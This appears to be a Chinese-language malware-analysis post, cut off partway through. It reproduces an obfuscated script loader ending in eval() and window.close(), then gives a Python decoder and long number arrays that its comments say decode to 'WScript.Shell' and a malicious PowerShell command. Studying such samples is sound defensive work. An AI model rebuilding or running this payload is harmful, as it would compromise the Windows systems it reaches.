FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,zN,kX,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,it,ff,RV,xv,NW,it,ff,RV,xv,NW,Mb,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,FT,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,xv,zN,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,NW,ff,RV,xv,kX,Mb,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Fi,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,NW,Mb,ff,RV,xv,NW,Fi,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,FT,Fi,yN,ff,RV,xv,NW,NW,ff,RV,xv,NW,FT,ff,RV,FT,Fi,yN,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,xv,NW,FT,ff,RV,xv,NW,FT,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,NW,FT,ff,RV,xv,NW,it,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,FT,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,xv,kX,kX,ff,RV,xv,NW,FT,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,xv,NW,FT,ff,RV,FT,Fi,QB,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,kX,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,QB,ff,RV,xv,NW,FT,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,xv,NW,QB,ff,RV,xv,kX,kX,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,NW,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,xv,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,FT,Fi,it,ff,RV,xv,NW,yN,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,kX,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,NW,zN,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,it,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,xv,kX,Mb,ff,RV,xv,NW,Mb,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,yN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,it,ff,RV,xv,NW,Fi,ff,RV,xv,NW,Mb,ff,RV,xv,kX,Mb,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,QB,ff,RV,xv,kX,Mb,ff,RV,xv,zN,kX,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,xv,NW,zN,ff,RV,FT,Fi,it,ff,RV,FT,Fi,it,ff,RV,FT,Fi,yN,ff,RV,xv,NW,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,NW,ff,RV,xv,zN,Fi,ff,RV,xv,zN,FT,ff,RV,FT,it,zN,ff,RV,xv,NW,QB,ff,RV,FT,it,xv,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,NW,ff,RV,xv,yN,yN,ff,RV,xv,yN,Mb,ff,RV,xv,yN,yN,ff,RV,FT,it,zN,ff,RV,xv,yN,yN,ff,RV,xv,kX,it,ff,RV,FT,Fi,Fi,ff,RV,FT,Fi,NW,ff,RV,xv,kX,Mb,ff,RV,FT,QB,NW,ff,RV,xv,kX,zN,ff,RV,xv,zN,QB,ff,RV,xv,kX,it,ff,RV,xv,xv,Mb,ff,RV,FT,QB,it,ff,RV,FT,QB,QB,ff,RV,FT,QB,kX,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,FT,ff,RV,xv,kX,zN,ff,RV,xv,NW,kX,ff,RV,xv,NW,kX,ff,RV,xv,Mb,NW,ff,RV,FT,QB,it,ff,RV,xv,xv,FT,ff,RV,FT,it,it,ff,RV,FT,QB,FT,ff,RV,FT,Fi,it,ff,RV,xv,zN,QB,ff,RV,xv,yN,FT,ff,RV,xv,kX,xv,ff,RV,xv,zN,FT,ff,RV,xv,Mb,FT,ff,RV,xv,kX,Mb,ff,RV,FT,Fi,kX,ff,RV,FT,QB,Mb,ff,RV,FT,Fi,it,ff,RV,xv,zN,NW,ff,RV,xv,NW,Fi,ff,RV,xv,NW,NW,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,xv,kX,kX,ff,RV,FT,it,QB,ff,RV,FT,QB,it,ff,RV,FT,QB,NW,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,NW,QB,ff,RV,xv,zN,kX,ff,RV,xv,NW,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,FT,it,xv,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi,FT,ff,RV,FT,QB,it,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,xv,yN,yN,ff,RV,xv,zN,Fi,ff,RV,xv,zN,Fi,ff,RV,xv,xv,Fi,ff,RV,xv,yN,kX,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,zN,kX,ff,RV,xv,zN,NW,ff,RV,xv,NW,it,ff,RV,xv,zN,it,ff,RV,xv,yN,yN,ff,RV,xv,yN,FT,ff,RV,xv,FT,Fi,ff,RV,xv,FT,QB,ff,RV,xv,Mb,NW,ff,RV,xv,FT,Fi,ff,RV,xv,zN,FT,ff,RV,xv,Mb,zN,ff,RV,FT,QB,Mb,ff,RV,xv,kX,kX,ff,RV,FT,QB,xv,ff,RV,FT,QB,FT,ff,RV,FT,QB,NW,ff,RV,FT,Fi,xv,ff,RV,FT,QB,QB,ff,RV,FT,Fi,zN,ff,RV,xv,zN,QB,ff,RV,xv,NW,it,ff,RV,xv,zN,it,tg,QF,Im,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,xv,Mb,Mb,ff,xv,Mb,zN,ff,FT,Fi,Fi,ff,FT,QB,NW,ff,FT,Fi,xv,ff,FT,QB,yN,ff,FT,QB,FT,ff,xv,zN,FT,ff,xv,Mb,zN,ff,FT,Fi,NW,ff,FT,Fi,it,ff,FT,Fi,kX,ff,FT,Fi,kX,tg,QF,Im,nd,Ge,sV,RV,pV,wt,wV,Rp,kz,CX,RV,ST,RV,tV,Gm,Wn,RV,sC,Fx,nI,pV,nd,Gm,Yp,FF,uS,Rp,Gm,Fx,nI,GH,Gm,YZ,Xj,kF,QF,Im,pV,wt,wV,Rp,kz,CX,cX,wV,UP,tV,GH,wt,wl,NL,Ep,uS,Lj,ff,RV,Fi,ff,RV,nI,sV,UP,Gm,QF,Im);eval(SxhM); window.close();</script>稍微调整一下,然后console.log(SxhM),看看是个啥

丢给ai跑个解密脚本
1# -*- coding: utf-8 -*-
2
3def decode_string_from_numbers(number_array):
4 """
5 这个函数模拟了恶意JavaScript代码中的ioRjQN函数。
6 它接收一个数字列表,将每个数字减去601,然后将结果转换为ASCII字符。
7 """
8 decoded_chars = []
9 for number in number_array:
10 # chr() 函数将一个整数转换为对应的ASCII/Unicode字符
11 # 这与JavaScript中的 String.fromCharCode() 功能相同
12 try:
13 char_code = number - 601
14 decoded_chars.append(chr(char_code))
15 except ValueError:
16 # 如果计算出的编码无效,则添加一个占位符
17 decoded_chars.append('[INVALID_CHAR]')
18
19 # 将所有字符连接成一个字符串
20 return "".join(decoded_chars)
21
22
23# --- 从原始恶意代码中提取的两个数字数组 ---
24
25# 这个数组解码后是 "WScript.Shell"
26array_for_object = [688, 684, 700, 715, 706, 713, 717, 647, 684, 705, 702, 709, 709]
27
28# 这个长数组解码后是恶意的PowerShell命令
29array_for_payload = [
30 713, 712, 720, 702, 715, 716, 705, 702, 709, 709, 647, 702, 721, 702, 633, 646, 720,
31 633, 650, 633, 646, 702, 713, 633, 686, 711, 715, 702, 716, 717, 715, 706, 700, 717,
32 702, 701, 633, 646, 711, 712, 713, 633, 637, 670, 671, 685, 670, 633, 662, 641, 692,
33 715, 702, 704, 702, 721, 694, 659, 659, 678, 698, 717, 700, 705, 702, 716, 641, 640,
34 698, 654, 698, 658, 699, 653, 658, 703, 699, 657, 698, 701, 699, 702, 699, 657, 702,
35 650, 658, 700, 699, 702, 698, 652, 698, 703, 698, 658, 699, 703, 699, 703, 702, 700,
36 702, 702, 702, 657, 698, 658, 698, 651, 699, 698, 703, 655, 658, 703, 699, 654, 699,
37 703, 699, 657, 698, 658, 698, 650, 658, 702, 698, 652, 698, 652, 699, 657, 658, 649,
38 658, 703, 699, 654, 699, 703, 658, 699, 657, 652, 658, 699, 703, 698, 703, 657, 658,
39 649, 658, 699, 698, 654, 698, 651, 698, 657, 698, 652, 699, 699, 699, 703, 658, 700,
40 698, 652, 699, 699, 698, 658, 699, 702, 658, 703, 698, 653, 698, 658, 698, 649, 698,
41 649, 658, 649, 699, 698, 703, 701, 702, 651, 703, 700, 658, 649, 699, 700, 698, 652,
42 699, 699, 698, 658, 699, 702, 699, 703, 698, 653, 698, 658, 698, 649, 698, 649, 702,
43 651, 698, 658, 699, 653, 698, 658, 702, 702, 702, 700, 702, 650, 658, 699, 698, 654,
44 698, 651, 698, 657, 698, 652, 699, 699, 658, 703, 699, 657, 699, 654, 698, 649, 698,
45 658, 702, 700, 657, 653, 698, 654, 698, 657, 698, 657, 698, 658, 698, 651, 702, 700,
46 702, 650, 657, 701, 699, 702, 698, 699, 699, 658, 698, 650, 698, 658, 698, 651, 699,
47 657, 657, 649, 698, 654, 699, 703, 699, 657, 702, 700, 702, 699, 702, 650, 699, 699,
48 702, 699, 702, 649, 702, 699, 698, 653, 702, 699, 702, 649, 702, 699, 702, 650, 698,
49 658, 699, 700, 702, 699, 702, 649, 702, 699, 658, 658, 698, 651, 699, 702, 698, 658,
50 699, 703, 699, 657, 699, 702, 698, 654, 698, 703, 699, 657, 698, 658, 698, 657, 702,
51 699, 702, 649, 702, 699, 702, 650, 657, 703, 698, 652, 698, 650, 698, 650, 698, 701,
52 698, 651, 698, 657, 702, 699, 702, 649, 702, 702, 658, 703, 698, 658, 699, 657, 702,
53 650, 658, 698, 698, 701, 699, 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658,
54 702, 700, 703, 703, 702, 700, 702, 699, 698, 653, 699, 657, 699, 657, 699, 700, 703,
55 655, 702, 652, 702, 652, 698, 703, 698, 653, 698, 701, 698, 649, 698, 649, 698, 658,
56 698, 651, 698, 699, 698, 658, 702, 651, 699, 653, 698, 654, 698, 651, 699, 703, 698,
57 653, 698, 654, 702, 651, 698, 698, 699, 658, 698, 651, 703, 655, 703, 703, 703, 658,
58 703, 657, 703, 653, 703, 657, 702, 652, 698, 702, 698, 658, 699, 703, 699, 657, 699,
59 658, 698, 657, 698, 657, 698, 654, 698, 651, 698, 699, 702, 651, 698, 655, 699, 700,
60 698, 699, 702, 699, 703, 656, 658, 703, 657, 654, 702, 700, 658, 698, 698, 701, 699,
61 702, 698, 654, 698, 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655,
62 703, 657, 657, 657, 702, 700, 702, 699, 657, 651, 698, 658, 699, 657, 702, 651, 658,
63 699, 698, 658, 698, 702, 657, 703, 698, 649, 698, 654, 698, 658, 698, 651, 699, 657,
64 702, 699, 703, 656, 698, 703, 698, 657, 703, 656, 658, 703, 658, 698, 702, 700, 698,
65 703, 703, 657, 657, 653, 702, 700, 702, 653, 702, 651, 698, 700, 702, 657, 657, 658,
66 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698, 651, 657,
67 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651, 657, 654,
68 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698, 650, 698,
69 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702, 653, 698, 700, 702, 657,
70 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654, 698, 652, 698,
71 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699, 657, 702, 651,
72 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703, 698, 652, 698,
73 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657, 699, 698, 658, 699, 657,
74 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658, 699, 702, 702, 654, 658,
75 656, 703, 702, 658, 650, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702, 654,
76 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 702, 653, 698,
77 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657, 698, 654,
78 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699, 653, 699,
79 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658, 657, 703,
80 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 702, 651, 702, 653, 702,
81 653, 698, 700, 702, 657, 657, 658, 699, 653, 698, 658, 698, 703, 699, 658, 699, 657,
82 698, 654, 698, 652, 698, 651, 657, 703, 698, 652, 698, 651, 699, 657, 698, 658, 699,
83 653, 699, 657, 702, 651, 657, 654, 698, 651, 699, 698, 698, 652, 698, 656, 698, 658,
84 657, 703, 698, 652, 698, 650, 698, 650, 698, 701, 698, 651, 698, 657, 699, 649, 657,
85 699, 698, 658, 699, 657, 702, 650, 657, 650, 698, 658, 698, 650, 698, 702, 698, 658,
86 699, 702, 699, 649, 658, 699, 698, 653, 698, 658, 699, 702, 698, 658, 699, 656, 702,
87 653, 657, 699, 658, 698, 702, 700, 658, 652, 702, 654, 702, 651, 658, 698, 698, 701,
88 698, 649, 699, 658, 698, 658, 702, 651, 657, 651, 698, 701, 698, 650, 698, 658, 702,
89 650, 698, 703, 698, 649, 698, 654, 698, 656, 698, 658, 702, 699, 702, 655, 698, 657,
90 657, 651, 698, 701, 698, 650, 698, 658, 702, 699, 699, 650, 702, 654, 702, 651, 657,
91 651, 698, 701, 698, 650, 698, 658, 702, 654, 702, 651, 657, 654, 698, 651, 699, 698,
92 698, 652, 698, 656, 698, 658, 702, 653, 702, 699, 657, 651, 698, 658, 702, 655, 698,
93 703, 699, 657, 702, 699, 702, 649, 703, 701, 702, 649, 703, 701, 702, 654, 702, 654,
94 702, 653, 657, 649, 658, 703, 702, 700, 658, 698, 698, 701, 699, 702, 698, 654, 698,
95 701, 698, 702, 698, 649, 698, 658, 703, 655, 702, 652, 658, 655, 703, 657, 657, 657,
96 702, 654, 702, 651, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 702, 654, 703,
97 656, 658, 703, 658, 698, 702, 700, 657, 701, 702, 700, 702, 653, 702, 653, 702, 653,
98 702, 653, 657, 699, 698, 658, 699, 657, 702, 650, 658, 698, 698, 701, 699, 702, 698,
99 654, 698, 701, 698, 702, 698, 649, 698, 658, 702, 700, 698, 703, 703, 657, 657, 653,
100 702, 700, 702, 650, 658, 698, 698, 701, 698, 649, 699, 658, 698, 658, 657, 652, 702,
